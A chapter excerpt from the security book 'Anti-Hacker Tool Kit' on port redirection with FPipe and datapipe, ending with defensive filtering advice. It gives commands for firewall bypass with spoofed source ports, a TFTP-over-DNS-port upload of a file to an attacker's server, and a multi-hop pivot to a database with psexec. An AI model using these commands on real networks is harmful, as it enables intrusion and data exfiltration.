Anti-Hacker Tool Kit, Third Edition

Unix systems always seem to provide the most useful network tools first. Datapipe is a little more than 100 lines of C code—a trivial amount in the Unix world. Before Cygwin and datapipe, no options for Windows-based port redirection were available. FPipe, by Foundstone, implements port redirection techniques natively in Windows. It also adds User Datagram Protocol (UDP) support, which datapipe lacks.

FPipe does not require any support DLLs or privileged user access; however, it runs only on the NT, 2000, and XP platforms. The lack of support DLLs or similar files makes it easy to pick up fpipe.exe and drop it onto a system. FPipe also adds more capability than datapipe in its ability to use a source port and bind to a specific interface.

Implementation

Whereas datapipe’s usage is simple, FPipe’s increased functionality necessitates several more command-line switches:

-v - verbose mode

As a simple port redirector, FPipe works like datapipe:

$ ./datapipe 9080 80 www.google.com

Here’s FPipe’s equivalent:

C:\>fpipe -l 9080 -r 80 www.google.com Pipe connected: In: 127.0.0.1:1971 --> 127.0.0.1:9080 Out: 192.168.0.184:1972 --> 216.239.33.101:80

Unlike datapipe, FPipe does not go into the background. It will continue to report connections until you press CTRL-C. Notice that FPipe also indicates the peer IP addresses and the source port number of each connection. The –s option allows FPipe to take further advantage of port specification:

C:\>fpipe –l 139 –r 139 –s 88 192.168.97.154

This example might appear trivial at first. After all, what’s the use of redirecting one NetBIOS port to another? The advantage is that all SMB traffic from the port redirection has a source port of 88. This type of source port trick is useful to bypass misconfigured firewalls. Other good source ports to try are 20, 25, 53, and 80. Check out “Case Study: Packet Filters, Ports, and Problems” later in this chapter for more details on why source ports bypass network access rules.

The –i option comes in handy on multi-homed systems, where you want to specify a particular interface on which to listen:

C:\>fpipe –l 80 –r 22 –i 10.17.19.42 192.168.97.154

The usefulness of this might seem rare, but it is useful on web servers. For example, IIS’s web service might be bound to a specific adapter, but port 80 is allowed all interfaces. Set up FPipe to listen on one of the other interfaces, and port 80 is yours.

Port redirection tools thrive on port hopping. Use a port redirector to create alternative ports for an established service on the localhost, redirect requests to the localhost to an alternative server, and tunnel connections through a firewall.

Local Redirection   Port redirection tools can be used to assign an alternative port to a service. To Unix administrators, this sounds like a needless, inelegant step. After all, the listening port for most Unix services are changed within a text file. On Windows systems, the only recourse may be to change a registry setting, if one exists, or use a port redirector. For example, it is not too difficult to change the listening port for a Windows Terminal Server. You could modify a registry setting, or use FPipe:

C:\>fpipe –l 22 –r 3389 localhost

This lets you open a single port on the firewall for the remote administration of your SSH and Terminal Server systems by placing both services on the same port.

If you prefer to run a Linux system for your gateway, you could set up a port redirection rule in iptables for a Terminal Server behind the gateway. Alternatively, use datapipe to forward incoming connections on port 3389 to the Terminal Server:

$ ./datapipe 3389 3389 172.16.19.12

Client Redirection   We've already demonstrated redirection for a web client. A more relevant example is using port redirection for precompiled exploits. Exploit code allows the user to specify a custom target (IP address) but not necessarily a custom port. Imagine that “spork” is IIS exploit code written to run against port 80. During an nmap scan, you discover IIS running on port 7070. Port redirection solves the port mismatch—choose your method:

C:\>fpipe –l 80 –r 7070 www.target.com $ ./datapipe 80 7070 www.target.com

Then run spork against your localhost. It assumes target port 80. FPipe (or datapipe) accepts the connection on port 80, and then forwards the data to port 7070 on www.target.com.

C:\>spork localhost

This technique is also used to bypass firewall restrictions. For example, in the wake of a flurry of IIS worms in 2001, savvy administrators block outbound requests to UDP port 69 (the TFTP service—Trivial FTP). Try FPipe's UDP to tunnel TFTP requests over UDP port 53, the port commonly reserved for DNS traffic. On Windows systems, the TFTP client does not permit you to specify an alternative destination port. Therefore, you have to set up a local port redirection for the TFTP client that forwards requests to your modified TFTP server. Remember to specify –u for UDP mode:

C:\>fpipe -l 69 -r 53 -u 192.168.0.116 C:\>tftp –i localhost PUT researchdata.zip

Your own TFTP server listens on UDP port 53 on host 192.168.0.116. These two commands are run from the server behind the firewall and the researchdata.zip file is uploaded—using the port commonly associated with name resolution.

Dual Redirection   This scenario involves four hosts: A, B, C, and D. Hosts A and B are the attacker's own systems. In other words, no exploits were required to gain access to these hosts. Hosts C and D are the victim's systems, separated from the attacker by a firewall. Host C is a web server. Host D, the final target, is a SQL database. This scenario should demonstrate how a single vulnerability in a web server can be leveraged to expand the scope of a compromise. The attacker is able to view arbitrary files on the web server, including a file that contains the database username and password. The attacker can even execute arbitrary commands on the web server. However, the database has been strongly secured because it contains credit card information. Consequently, only ports 445 (SMB) and 1433 (SQL) are open.

The following scenario depicts an overview of the target network.

Host A is a Windows 2000 system with a Microsoft SQL management client. The SQL client will eventually connect to the SQL database on Host D.

Host B runs FPipe. It does not have to be a separate physical host. Windows has SQL clients and FPipe, while Linux has SQL clients and datapipe. Host B could even be a virtual VMware system. Note that it would be possible to assign an alternative destination port in the SQL client, but we might need to use a source port trick!

The firewall permits TCP ports 21, 25, and 80 into the network for FTP, e-mail, and web services.

Host C is a combination FTP and mail server protected by the firewall. Imagine that it's running a vulnerable version of WU-FTPD that provides command-line access as root (this is a real vulnerability). For this attack to work, some vulnerability must be present on a server behind the firewall that enables us to run a port redirector. To reiterate the introduction, port redirection is a method to circumvent port access restrictions; it is not exploit code.

While looking at the web server, we discover a database.inc file that contains a connection string for IIS to talk to the database, Host D:

strDB = "Provider=SQLOLEDB;Data Source=financedb;Initial Catalog=Payroll; User Id=sa;Password=''

Host D is a Windows 2000 system running SQL server 7.0. This system represents our goal. We discover the connection string from the web server, but we have no way of accessing the database's administration port, 1433.

The attack requires two port redirections. Host B is simple; we're just listening on the default SQL port and forwarding the traffic to our compromised host behind the firewall:

Host B: c:\> fpipe –l 1433 –r 80 <Host C>

Host C requires a little bit of thinking. The firewall permits ports 21, 25, and 80. Unfortunately, ports 21 and 25 already have services assigned to them. We can't assign two different services (FTP and datapipe, for example) to the same port. Luckily, there is a web server on the network, so the firewall permits port 80 as well. We'll listen on this port:

Host C: $ ./datapipe 80 1433 <Host D>

Next, Host A opens its SQL client and points to Host B on port 1433. Host B forwards this connection to port 80 on Host C, which in turn forwards the connection to port 1433 on Host D. Voila! A completed SQL connection! If the firewall had blocked HTTP traffic to Host C—a viable option since it isn't a web server—none of this would have been possible.

Further Expanding Influence   In the previous scenario, we gained access on Host D via the SQL server; however, Host D also had port 445 open. To perform a complete audit of the system, we could try some enumeration tools we learned about in Chapter 6. These tools require access to the Windows NetBIOS ports. At first, we might think to use FPipe to listen on port 445 and forward the traffic over port 80. But there's a catch: Windows 2000 and XP use port 445 for NetBIOS and don't allow you to close this port. We can't have two services (FPipe and NetBIOS) on the same port number. Looks like we'll have to turn on a VMware session with FreeBSD and use datapipe:

Host B: $ ./datapipe 445 80 <Host C>

It doesn't matter whether the compromised host is Unix or Windows, only that nothing is listening on port 80 except for our datapipe:

Host C: $ ./datapipe 80 445 <Host D>

Command-line access is only a step away. We need a username and password—possibly created with SQL's xp_cmdshell and the net user command—or we discover that the Administrator's password is password. Then, we run the psexec utility from Host A through the port redirection tunnel:

Host A: c:\>psexec \\hostB –u administrator –p password "ipconfig /all"

This runs the ipconfig.exe program on Host D, showing all its network adapter information. Refer to Chapter 7 for more details about the psexec tool.

Keep in mind that simpler methods of accessing the SQL database are available, such as uploading Samba tools or a command-line SQL client to the compromised system. Our goal is to demonstrate port manipulation that acts transparently between the client and server regardless of the protocol involved. In Perl lingo, TMTOWTDI—There's More Than One Way To Do It!

Basic packet filters allow or deny network traffic based on IP addresses and port numbers. Linux's ipchains and Cisco routers (minus the “established” capability) are good examples of packet-filtering devices. They examine only four parts of a TCP/IP packet:

• Source IP address

• Source port

• Destination IP address

• Destination port

It is possible for you to create strong rules based on these combinations. For example, a web server needs to receive traffic only on ports 80 and 443—an administrator creates ipchains rules to examine traffic arriving from the Internet and permits only TCP destination ports 80 and 443. Access to destination port 22 (Secure Shell), for example, is blocked. Notice the distinction. If the administrator permitted only TCP ports 80 and 443, a potential problem is created: What happens when a packet arrives with a source port of 80? Depending on the order of the ipchains rules, the packet passes through the firewall. Now, what happens if that packet has a source port of 80 and a destination port of 22? Unauthorized access to the Secure Shell prompt!

Source-port problems crop up in several services. FTP is probably the most notorious service to restrict properly. An FTP connection starts out just fine. The client connects to the server on port 21. Then things start to get difficult. If the client starts to download a file, the server initiates a data connection from port 20 to the client. The packet type that creates a connection is called a SYN packet (for the type of flag the packet contains). For an FTP data connection, the server sends the SYN packet and the client continues the connection. Packet filters watch for these SYN packets in order to apply their rules. Consequently, the packet filter can become confused about which system started an FTP connection because the traffic originates on the internal network, not the Internet. Many times, an administrator permits traffic with a port of 20 to enter the network but neglects to limit incoming traffic to the FTP server.

Other problematic services are Domain Name System (DNS), Server Message Transfer Protocol (SMTP), and Internet Protocol Security (IPsec, Kerberos). DNS services run on TCP and UDP port 53. Only the UDP port is necessary for name resolution (although TCP is sometimes used for large namespace lookups). However, if there's confusion about which hosts require name resolution, internal or Internet, TCP port 53 might be open to the world.

Everyone uses e-mail and SMTP servers make sure that e-mail arrives. An SMTP server uses destination TCP port 25 to receive e-mail, but it's entirely possible that the firewall rule mistakenly permits port 25 (source or destination). Kerberos, by no means a new protocol, gained a renaissance in use by its Frankenstein-like inclusion in Windows 2000. Now Windows system administrators could establish more secure, encrypted communications using TCP port 88 and IPsec. Port 88 also suffers from source/destination confusion.

Use FPipe's outbound source port option (-s) to take advantage of source port insecurities. Simply redirect the tool through the port redirector and determine whether the remote service answers. In this case, you are not changing the destination port numbers; instead, you're changing the source port number of the traffic entering the remote network:

C:\>fpipe -l 3389 -r 3389 –s 20 192.168.0.116

Unfortunately, datapipe doesn't support the source port option—but at least you have the source code!

Blocking Port Redirection   Port redirection is a method of bypassing inadequate network access controls. For the system administrator, it should also illustrate the importance of a layered defense strategy—that is, applying redundant network, host, and application controls to specific security problems.

You cannot download and apply a patch to prevent data redirection. You can, however, apply good network access controls. Unlike host-specific vulnerabilities such as buffer overflows, data redirection attacks exploit the network. Consequently, solutions must be provided at the network level.

• Host security   Obviously, if an attacker cannot gain command-line access on a system, port redirection tools can't be used to bypass access control lists. Part of any system administrator's mantra should be “patch, configure, verify.”

• Ingress filters   A strong firewall or router access control list should begin with a “DENY ALL” rule. Then, ports and services are added as business purposes require. Additionally, ports should not be opened with carte blanche access. Ports 80 and 443 should be allowed only to web servers, and port 25 should be allowed only to e-mail servers.

• Egress filters   “Public” servers such as web servers always receive traffic. That is, the web server does not anticipate that you want to connect to it and sends its home page to your browser; you must go to it. What naturally follows is that the web server should never establish an outbound (toward the Internet) connection. It should receive traffic on port 80, but the network device should block any connection attempts from the web server to any Internet host.

• Proxy Firewalls   Proxy firewalls can quite effectively block port redirection attacks if they are configured to protect a specific protocol. For example, a proxy firewall that serves HTTP traffic inspects each packet for coherence to the HTTP protocol. In other words, the proxy looks for basic HTTP verbs such as GET, HEAD, or POST. If these are not present, the firewall blocks the traffic. Therefore, it would not be possible to tunnel an SSH connection through an HTTP proxy because the SSH communication does not contain the correct protocol content.

You should also avoid incorrect reciprocal rules. If your Windows network uses IPsec tunneling over TCP port 88, you should ensure that the connections rules make sense. For example, an incorrect rule might look like this (in pseudo-code):

allow (src ip ANY) and (tcp port 88)

This rule allows any packet with an IP address with a source or destination port of 88 to enter the network. Thus, the ruleset would permit a packet with a source port of 88 and a destination port of 139 (for example) to traverse the network.

A correct rule should allow traffic to the IPsec port:

allow (src ip ANY) and (dst tcp port 88)

Remember that this type of problem often crops up in FTP, SMTP, and DNS services as well.